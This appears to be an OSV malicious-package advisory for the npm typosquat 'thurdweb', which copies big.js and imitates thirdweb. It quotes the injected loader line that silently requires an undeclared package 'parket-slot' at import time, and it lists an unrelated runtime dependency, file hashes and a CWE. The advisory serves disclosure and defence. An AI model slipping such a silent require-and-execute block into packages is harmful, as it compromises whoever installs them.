MAL-2026-6345

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thurdweb/MAL-2026-6345.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6345
Published
2026-06-23T20:01:24Z
Modified
2026-06-23T21:01:22.298416634Z
Summary
Malicious code in thurdweb (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7)

Package name thurdweb is a one-character substitution of the popular web3 SDK thirdweb, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (big.js / big.mjs lines 605-608) contains an injected top-level block that fires on require('thurdweb') / import 'thurdweb': try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. parket-slot is not declared in package.json dependencies, and the entire call is wrapped in an empty try/catch that silently swallows every error. package.json additionally declares log-taker@^0.0.9 as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-23T20:48:30.624621754Z",
            "source": "amazon-inspector",
            "sha256": "775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7",
            "versions": [
                "0.0.8"
            ],
            "id": "IN-MAL-2026-007355",
            "modified_time": "2026-06-23T20:01:24Z"
        }
    ]
}
References
Credits

Affected packages

npm / thurdweb

Package

Name
thurdweb
View open source insights on deps.dev
Purl
pkg:npm/thurdweb

Affected ranges

Affected versions

0.*
0.0.8

Database specific

indicators 
{
    "evidence_files": [
        {
            "tlsh": "49213463c9a59da70af85ba47c6c03aef1151b1f00a04c17b07b130c4b3345b2096b7d",
            "sha256": "ce862263c2537fca74d04d75dbbecc350838fa487eedc52dc37db8230ace12e5",
            "path": "package.json"
        },
        {
            "tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc",
            "sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
            "path": "big.js"
        }
    ],
    "package_integrity": [
        {
            "filename": "thurdweb-0.0.8.tgz",
            "hashes": {
                "sha1": "69826b6cf68f13f72b6e854feed6826a9aebae76",
                "sha512_sri": "sha512-S9HqYAPXijeGGJojs455lss+bGNrPoLIr8YNawwjPd21odTQ89bM207ZwZksM5elEynZ9RpTVglKaqg6cMfWIA=="
            }
        }
    ]
}
cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thurdweb/MAL-2026-6345.json"